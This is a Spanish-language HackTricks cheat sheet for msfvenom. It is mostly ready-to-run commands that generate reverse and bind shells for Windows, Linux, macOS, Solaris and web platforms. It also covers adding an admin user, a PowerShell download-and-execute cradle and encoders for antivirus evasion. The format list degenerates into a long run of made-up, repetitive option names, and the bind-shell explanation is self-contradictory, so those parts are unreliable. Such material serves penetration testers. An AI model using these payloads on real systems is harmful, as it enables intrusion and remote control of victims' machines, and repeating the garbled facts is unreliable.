hacktricks/generic-methodologies-and-resources/shells/msfvenom.md
2023-06-03 01:46:23 +00:00

24 KiB

MSFVenom - Hoja de trucos

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales de errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>

También se puede usar -a para especificar la arquitectura o --platform.

Listado

msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders

Parámetros comunes al crear un shellcode

-p / --payload

El parámetro -p o --payload se utiliza para especificar el payload que se utilizará para crear el shellcode. El payload es el código que se ejecutará en la máquina objetivo después de que se haya explotado la vulnerabilidad.

-f / --format

El parámetro -f o --format se utiliza para especificar el formato de salida del shellcode. Los formatos comunes incluyen raw, c, python, ruby, dll, exe, msi, psh, asp, jsp, war, pl, elf, macho, apk, osx-app, deb, rpm, jar, hta, vba, vbs, js_le, js_be, php, py, sh, bash, powershell, powershell_base64, powershell_reflective_dll, powershell_script_template, powershell_script_template_encoded, powershell_script_template_compiled, powershell_script_template_compiled_x86, powershell_script_template_compiled_x64, powershell_script_template_compiled_x86_dll, powershell_script_template_compiled_x64_dll, powershell_script_template_compiled_x86_exe, powershell_script_template_compiled_x64_exe, powershell_script_template_compiled_x86_msi, powershell_script_template_compiled_x64_msi, powershell_script_template_compiled_x86_psh, powershell_script_template_compiled_x64_psh, powershell_script_template_compiled_x86_vba, powershell_script_template_compiled_x64_vba, powershell_script_template_compiled_x86_vbs, powershell_script_template_compiled_x64_vbs, powershell_script_template_compiled_x86_wsh, powershell_script_template_compiled_x64_wsh, powershell_script_template_compiled_x86_js_le, powershell_script_template_compiled_x64_js_le, powershell_script_template_compiled_x86_js_be, powershell_script_template_compiled_x64_js_be, powershell_script_template_compiled_x86_php, powershell_script_template_compiled_x64_php, powershell_script_template_compiled_x86_py, powershell_script_template_compiled_x64_py, powershell_script_template_compiled_x86_sh, powershell_script_template_compiled_x64_sh, powershell_script_template_compiled_x86_bash, powershell_script_template_compiled_x64_bash, powershell_script_template_compiled_x86_powershell, powershell_script_template_compiled_x64_powershell, powershell_script_template_compiled_x86_powershell_base64, powershell_script_template_compiled_x64_powershell_base64, powershell_script_template_compiled_x86_powershell_reflective_dll, powershell_script_template_compiled_x64_powershell_reflective_dll, powershell_script_template_compiled_x86_powershell_script_template, powershell_script_template_compiled_x64_powershell_script_template, powershell_script_template_compiled_x86_powershell_script_template_encoded, powershell_script_template_compiled_x64_powershell_script_template_encoded, powershell_script_template_compiled_x86_powershell_script_template_compiled, powershell_script_template_compiled_x64_powershell_script_template_compiled, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_dll, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_dll, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_dll, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_dll, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_exe, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_exe, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_exe, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_exe, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_msi, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_msi, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_msi, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_msi, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_psh, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_psh, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_psh, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_psh, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_vba, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_vba, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_vba, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_vba, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_vbs, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_vbs, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_vbs, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_vbs, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_wsh, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_wsh, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_wsh, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_wsh, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_js_le, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_js_le, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_js_le, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_js_le, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_js_be, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_js_be, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_js_be, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_js_be, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_php, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_php, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_py, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_py, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_sh, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_sh, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_sh, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_sh, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_bash, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_bash, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_bash, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_bash, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_base64, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_base64, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_base64, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_base64, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_reflective_dll, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_reflective_dll, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_reflective_dll, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_reflective_dll, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template_encoded, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template_encoded, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template_encoded, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template_encoded, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template_compiled, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template_compiled, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template_compiled, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template_compiled, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template_compiled_x86, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template_compiled_x86, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template_compiled_x86, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template_compiled_x86, powershell_script_template_compiled_x86_powershell_script_template_compiled_x86_powershell_script_template_compiled_x64, powershell_script_template_compiled_x64_powershell_script_template_compiled_x86_powershell_script_template_compiled_x64, powershell_script_template_compiled_x86_powershell_script_template_compiled_x64_powershell_script_template_compiled_x64, powershell_script_template_compiled_x64_powershell_script_template_compiled_x64_powershell_script_template_compiled_x64.

-e / --encoder

El parámetro -e o --encoder se utiliza para especificar el encoder que se utilizará para codificar el payload. Los encoders se utilizan para evadir la detección de antivirus y otras medidas de seguridad. Los encoders comunes incluyen shikata_ga_nai, x86/shikata_ga_nai, alpha_mixed, alpha_upper, avoid_utf8_tolower, call4_dword_xor, countdown, fnstenv_mov, jmp_call_additive, nonalpha, nonupper, polymorphic, print_badchars, remove_badchars, unicode_mixed, unicode_upper, x86/alpha_mixed, x86/alpha_upper, x86/avoid_utf8_tolower, x86/call4_dword_xor, x86/countdown, x86/fnstenv_mov, x86/jmp_call_additive, x86/nonalpha, x86/nonupper, x86/unicode_mixed, x86/unicode_upper.

-a / --arch

El parámetro -a o --arch se utiliza para especificar la arquitectura de la máquina objetivo. Las arquitecturas comunes incluyen x86, x64, x86_64, armle, armbe, aarch64, mipsle, mipsbe, ppc, ppc64, sparc, sparc64.

-b / --bad-chars

El parámetro -b o --bad-chars se utiliza para especificar los caracteres que no se deben incluir en el shellcode. Los caracteres comunes que se deben evitar incluyen \x00, \x0a, \x0d, \x20.

-n / --nopsled

El parámetro -n o --nopsled se utiliza para especificar el tamaño del nopsled que se utilizará en el shellcode. El nopsled es una serie de instrucciones NOP que se utilizan para deslizar el shellcode en la memoria y asegurarse de que se ejecuta correctamente.

-b "\x00\x0a\x0d" 
-f c 
-e x86/shikata_ga_nai -i 5 
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID

Windows

Shell Inverso

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe

Shell de Enlace

msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe

Crear Usuario

msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe

Shell CMD

msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe

Ejecutar Comando


Descripción

La opción CMD de msfvenom permite ejecutar un comando en la máquina objetivo después de que se haya ejecutado el payload.

Sintaxis

msfvenom -p <payload> CMD='<command>' [...]

Ejemplo

El siguiente comando generará un payload de Meterpreter que ejecutará el comando whoami en la máquina objetivo después de que se haya ejecutado el payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f exe -o payload.exe CMD='whoami'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe

Codificador

msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe

Incrustado dentro de un ejecutable

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe

Cargas útiles de Linux

Shell Inverso

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf

Shell de Enlace

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf

SunOS (Solaris)

SunOS (Solaris) es un sistema operativo basado en Unix desarrollado por Sun Microsystems. Es utilizado en servidores y estaciones de trabajo de alta gama. Para generar payloads para Solaris, se puede utilizar el siguiente comando de msfvenom:

msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf

Cargas útiles de MAC

Shell inverso:

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

Shell de enlace

A Bind Shell es un tipo de shell inversa en la que el objetivo es conectarse a la máquina que ejecuta el shell. En lugar de que el shell se conecte a un puerto en el atacante, el atacante se conecta a un puerto en la víctima y el shell se ejecuta en ese puerto. Esto significa que el shell está "enlazado" al puerto en la víctima y está esperando una conexión entrante.

Para crear un shell de enlace con msfvenom, se utiliza el siguiente comando:

msfvenom -p <payload> LHOST=<attacker IP> LPORT=<attacker port> -f <format> -o <output file>

Donde <payload> es el payload que se utilizará, <attacker IP> es la dirección IP del atacante, <attacker port> es el puerto en el que el atacante está escuchando y <format> es el formato de salida deseado (por ejemplo, exe, elf, o raw). <output file> es el archivo de salida que se creará.

Por ejemplo, para crear un shell de enlace de Windows en formato exe que se conecte al atacante en la dirección IP 192.168.0.100 en el puerto 4444, se utilizaría el siguiente comando:

msfvenom -p windows/shell_bind_tcp LHOST=192.168.0.100 LPORT=4444 -f exe -o bind_shell.exe
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho

Cargas útiles basadas en la web

PHP

Shell inverso

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP/x

Shell inversa

msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx

JSP

Shell inversa

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp

WAR

Shell Inverso

msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war

NodeJS

NodeJS es una plataforma de software de código abierto que se utiliza para construir aplicaciones de red escalables. Está construido sobre el motor V8 de Google Chrome y utiliza un modelo de E/S sin bloqueo y orientado a eventos, lo que lo hace ideal para aplicaciones en tiempo real con una gran cantidad de datos que cambian con frecuencia. NodeJS también es muy popular en el desarrollo de aplicaciones web y se utiliza a menudo en combinación con frameworks como ExpressJS.

msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)

Cargas útiles de lenguaje de script

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl

Python

Python es un lenguaje de programación interpretado de alto nivel que se utiliza ampliamente en el hacking. Es fácil de aprender y tiene una gran cantidad de bibliotecas y módulos que lo hacen muy versátil. Python se utiliza para escribir scripts de automatización, herramientas de hacking y exploits. También se utiliza para el análisis de datos y la visualización de datos. Algunas de las bibliotecas más populares de Python para el hacking son requests, beautifulsoup, scapy, pandas y numpy.

msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py

Bash

Bash es un lenguaje de scripting muy popular en sistemas Unix y Linux. Es una herramienta muy útil para la automatización de tareas y la creación de scripts personalizados. Bash también se utiliza a menudo para la creación de shellcodes y payloads.

Una de las ventajas de Bash es que está disponible en la mayoría de los sistemas Unix y Linux, lo que lo hace muy accesible para los hackers. Además, Bash es muy flexible y puede ser utilizado para una amplia variedad de tareas, desde la creación de scripts simples hasta la creación de herramientas de hacking avanzadas.

Msfvenom es una herramienta muy útil para la creación de payloads de Bash. Con Msfvenom, los hackers pueden crear payloads personalizados que pueden ser utilizados para una amplia variedad de tareas, desde la explotación de vulnerabilidades hasta la creación de backdoors.

Para crear un payload de Bash con Msfvenom, primero debemos especificar el tipo de payload que queremos crear. Luego, debemos especificar la dirección IP y el puerto que queremos utilizar para la conexión de backdoor. Finalmente, debemos especificar el formato de salida que queremos utilizar para el payload.

Una vez que hemos creado nuestro payload de Bash con Msfvenom, podemos utilizarlo para la creación de backdoors y la explotación de vulnerabilidades en sistemas Unix y Linux.

msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones de la comunidad

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥